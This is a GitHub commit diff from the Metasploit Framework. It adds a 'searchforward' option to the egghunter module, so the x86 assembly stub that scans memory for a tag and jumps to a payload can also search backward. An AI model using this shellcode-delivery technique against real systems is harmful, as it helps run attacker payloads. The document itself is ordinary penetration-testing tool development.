Skip to content

Commit 81f0f12

Browse files
committed
Merge branch 'huntersearchdirection' of github.com:corelanc0d3r/metasploit-framework into corelanc0d3r-huntersearchdirection
2 parents 37634a9 + 0d4a6c6 commit 81f0f12

File tree

1 file changed

+18
-5
lines changed

1 file changed

+18
-5
lines changed

lib/rex/exploitation/egghunter.rb

Lines changed: 18 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@ module Exploitation
2222
# Conversion to use Metasm by jduck
2323
# Startreg code added by corelanc0d3r
2424
# Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r)
25+
# Added support for searchforward option (true or false)
2526
#
2627
###
2728
class Egghunter
@@ -42,7 +43,8 @@ module X86
4243
#
4344
def hunter_stub(payload, badchars = '', opts = {})
4445

45-
startreg = opts[:startreg]
46+
startreg = opts[:startreg]
47+
searchforward = opts[:searchforward]
4648

4749
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
4850
marker = "0x%x" % opts[:eggtag].unpack('V').first
@@ -59,6 +61,19 @@ def hunter_stub(payload, badchars = '', opts = {})
5961
end
6062
startstub << "\n\t" if startstub.length > 0
6163

64+
# search forward or backward ?
65+
flippage = "\n\tor dx,0xfff"
66+
edxdirection = "\n\tinc edx"
67+
68+
if searchforward
69+
if searchforward.to_s.downcase == 'false'
70+
# go backwards
71+
flippage = "\n\txor dl,dl"
72+
edxdirection = "\n\tdec edx"
73+
end
74+
end
75+
76+
# other vars
6277
getpointer = ''
6378
getsize = ''
6479
getalloctype = ''
@@ -194,9 +209,9 @@ def hunter_stub(payload, badchars = '', opts = {})
194209
#{getpointer}
195210
#{startstub}
196211
check_readable:
197-
or dx,0xfff
212+
#{flippage}
198213
next_addr:
199-
inc edx
214+
#{edxdirection}
200215
push edx
201216
push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
202217
pop eax
@@ -213,10 +228,8 @@ def hunter_stub(payload, badchars = '', opts = {})
213228
; it must match a second time too
214229
scasd
215230
jne next_addr
216-
217231
; check the checksum if the feature is enabled
218232
#{checksum}
219-
220233
; jump to the payload
221234
#{jmppayload}
222235
EOS

0 commit comments

Comments
 (0)